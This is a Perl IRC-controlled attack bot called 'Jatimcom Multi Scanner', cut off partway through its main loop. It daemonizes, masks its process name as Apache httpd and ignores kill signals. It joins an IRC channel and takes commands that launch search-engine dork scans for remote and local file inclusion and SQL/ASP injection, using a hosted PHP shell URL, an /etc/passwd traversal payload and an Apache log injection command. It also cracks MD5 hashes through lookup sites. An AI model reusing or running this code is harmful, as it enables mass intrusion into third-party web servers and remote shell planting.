#!/usr/bin/perl
print('
###################################
# Jatimcom Multi Scanner #
# Moded By Jcommers #
# Copyleft © 2010 Jatimcom #
###################################
');
##################################################
## Usage: ##
## perl file.pl ##
## Notes: ##
## + All Parameters are optional ##
## ##
## Features: ##
## + RFI Scanner ##
## + SQL Scanner ##
## + ASP Scanner ##
## + MD5 Crack & Encript ##
## + Dont Forget To Cek http://jatimcom.uni.cc/ ##
##################################################
use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use Socket;
#################################################
my $fakeproc = "/usr/local/apache/bin/httpd";
my $ircserver = "irc.jatimcom.us";
my $ircport = "7000";
my $nickname = "MULTI[scan]";
my $ident = "Jatimcom";
my $channel = '#jatimcom';
my $runner = "cimpli";
my $fullname = ' 10( 14@ 10Jatimcom-Multi-Scanner 10) ';
#################################################
my $injector = "http://acscc.com//forum/cache/id/idmulti?";
my $phpshell = "http://www.sanvan.net/new/newzz.txt??";
my $rficmd = '!rfi';
my $lficmd = '!lfi';
my $sqlcmd = '!sql';
my $aspcmd = '!asp';
my $alicmd = '!log';
my $encrypt = '!enc';
my $decrypt = '!dec';
my $zipcmd = '!zip';
my $ipcmd = '!ip';
my $hostcmd = '!host';
$rfi_result = "JaTimcoM";
$lfi_test = "../../../../../../../../../../../../../../../etc/passwd";
$lfi_output = "root:(.+):(.+):(.+):(.+):(.+):(.+)";
$sql_test = "'";
$sql_output = ("Query failed|Query Error|right syntax to use near");
$asp_output = ("SQL Server error|Incorrect syntax near|syntax error converting|unclosed quotation|Unclosed quotation mark before the character string ''");
#################################################
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
chdir("/");
$ircserver="$ARGV[0]" if $ARGV[0];
$0 = "$fakeproc"."\0"x16;;
my $pid = fork;
exit if $pid;
die "\n [!] Something Wrong !!!: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
#################################################
sub connector {
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
nick("$mynick");
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
sleep 1;
}
}
#################################################
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION Jatimcom Multi Scaner\001");
}
if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
}
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($mynick)) {
$mynick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$mynick|".int rand(999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
sendraw("MODE $nickname +Bx");
sendraw("JOIN $channel");
sendraw("PRIVMSG $channel :JaTimCom Scanner Ready");
sendraw("PRIVMSG $runner :Hi $runner im here !!!");
}
}
#################################################
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
$msg =~ s/\r\n$//;
#####################################################################
############################[ CMD LIST ]#############################
#####################################################################
if ($msg=~ /PRIVMSG $channel :!help/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 $rficmd <bug> <dork> | $lficmd <bug> <dork> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 $sqlcmd | $aspcmd <bug> <dork> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 $encrypt <text> | $decrypt <hash> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Apache Log Injection : $alicmd <host> <port> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 !id | !engine | !pid | !version | !about ");
}
if ($msg=~ /PRIVMSG $channel :!id/){
&response();
}
if ($msg=~ /PRIVMSG $channel :!version/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 New Jatimcom Multi ScanNer ");
}
if ($msg=~ /PRIVMSG $channel :!engine/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Google, Bing, AllTheWeb, Altavista, ASK, UOL, LyCos, GoodSearch, Yahoo. ");
}
if ($msg=~ /PRIVMSG $channel :!pid/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Process/ID : 4 $fakeproc - $$ ");
}
if ($msg=~ /PRIVMSG $channel :!about/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 JATIMCOM MULTI ScanNer ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Moded by Jcommers - http://jatimcom.uni.cc/ ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Copyleft © 2010 Jatim Community ");
}
##################################################################### GDataOnline.com MD5 Engine - Md5 2 Text
if ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $hash = $1;
my $cracker = "http://www.gdataonline.com/qkhash.php?mode=txt&hash=".$hash;
my $request = HTTP::Request->new(GET=>$cracker);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/>$hash<\/td><td width="35%"><b>(.*)<\/b>/g) {
my $result = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [GDataOnline] 3 ".$hash." 14-> 3 ".$result);
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [GDataOnline] 3 ".$hash." 14not found."); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open GDataOnline.cOm "); }
}
exit;
}}
##################################################################### md5.rednoize.com MD5 Engine - Md5 2 Text
if ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $hash = $1;
my $cracker = "http://md5.rednoize.com/?s=md5&q=".$hash;
my $request = HTTP::Request->new(GET=>$cracker);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/<div id=\"result\" >(.*)<\/div>/g) {
my $result = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [RedNoize] 3 ".$hash." 14-> 3 ".$result);
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [RedNoize] 3 ".$hash." 14not found.");
}
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open Md5.RedNoize.cOm "); }
}
exit;
}}
##################################################################### c0li.m0de.0n MD5 Engine - Text 2 Hash
if ($msg=~ /PRIVMSG $channel :$encrypt\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $teks=$1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Trying to encrypt 14 ".$teks." 10... ");
my $hashing = "http://d00r.110mb.com/hash.php?enc=".$teks;
my $request = HTTP::Request->new(GET=>$hashing);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/MD5:([0-9,a-f]{32})<br>SHA1:([0-9,a-f]{40})<br>B64:(.*)/g) {
my ($md5,$sha1,$base64) = ($1,$2,$3);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 MD5 : 14 ".$teks." 10-> 3 ".$md5);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Sha1 : 14 ".$teks." 10-> 3 ".$sha1);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Base64 : 14 ".$teks." 10-> 3 ".$base64);
}
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open c0li.m0de.0n "); }
}
exit;
}}
#####################################################################
if ($msg=~ /PRIVMSG $channel :$hostcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $ipaddr = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 Domain in 7 ".$ipaddr." 12Host ... ");
my $hashing = "http://www.myipneighbors.com/?search=".$ipaddr."&commit=search";
my $res = getcontent($hashing);
while ($res =~ m/<tr style=\"background:#dedede;\"><td>(.*)<\/td><td>/g) {
my $dns1 = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 4-> 3 ".$dns1);
sleep(2);
}
while ($res =~ m/<tr style=\"background:#ffffff;\"><td>(.*)<\/td><td>/g) {
my $dns2 = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 4-> 3 ".$dns2);
sleep(2);
}
if ($res !~ m/<tr style=\"background:#.*;\"><td>.*<\/td><td>/g) {
if ($res =~ m/<b>$ipaddr<\/b> has address <b>(.*)<\/b>/g) {
$mydns = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 4-> 3 ".$mydns);
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 7-> 4 Bad Domain.");
}
}
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 Listing of Domain in 4 ".$ipaddr." 12is Done.");
}
exit;
}}
#####################################################################
if ($msg=~ /PRIVMSG $channel :$ipcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $ip = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 19) 14 Searching 7 ".$ip." 12Location ... ");
my $website = "http://www.ipligence.com/geolocation";
my ($useragent,$request,$response,%form);
undef %form;
$form{ip} = $ip;
$useragent = LWP::UserAgent->new;
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/Your IP address is (.*)<br>City: (.*)<br\/>Country: (.*)<br>Continent: (.*)<br>Time/g) {
my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 IP Address : 3 ".$ipaddress." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 City : 3 ".$city." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Country : 3 ".$country." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Continent : 3 ".$continent." ");
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 $ip 12-> 4Invalid address or IP not found. "); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Cannot open www.ipligence.com "); }
}
exit;
}}
##################################################################### US ZIP Lookup www.ZIPInfo.com
if ($msg=~ /PRIVMSG $channel :$zipcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $zip = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14US-ZIP 14) 10 Looking up 14 ".$zip." 10ZIP Code ... ");
my $website = "http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=".$zip."&Go=Go";
my $request = HTTP::Request->new(GET=>$website);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g) {
my ($city,$state,$zipcode,$county,$area) = ($1,$2,$3,$4,$6);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Nama Kota : 3 ".$city." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode State: 3 ".$state." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode ZIP : 3 ".$zipcode." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode Kota : 3 ".$county." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode Area : 3 ".$area." ");
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 $zip 3is not a valid ZIP code. "); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Cannot open www.ZIPInfo.com "); }
}
exit;
}}
#####################################################################
###############################[ RFI ]###############################
#####################################################################
##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### LyCos Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
#####################################################################
###############################[ LFI ]###############################
#####################################################################
##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### LyCos Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
#####################################################################
##############################[ sql ]##############################
#####################################################################
##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Lycos Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
#####################################################################
##############################[ asp ]##############################
#####################################################################
##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Lycos Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}
#####################################################################
##################################################################### Apache Log Injection
if ($msg=~ /PRIVMSG $channel :$alicmd\s+(.*?)\s+(.+[0-9])/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
&injectlog($1,$2);
}
exit;
}
}
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
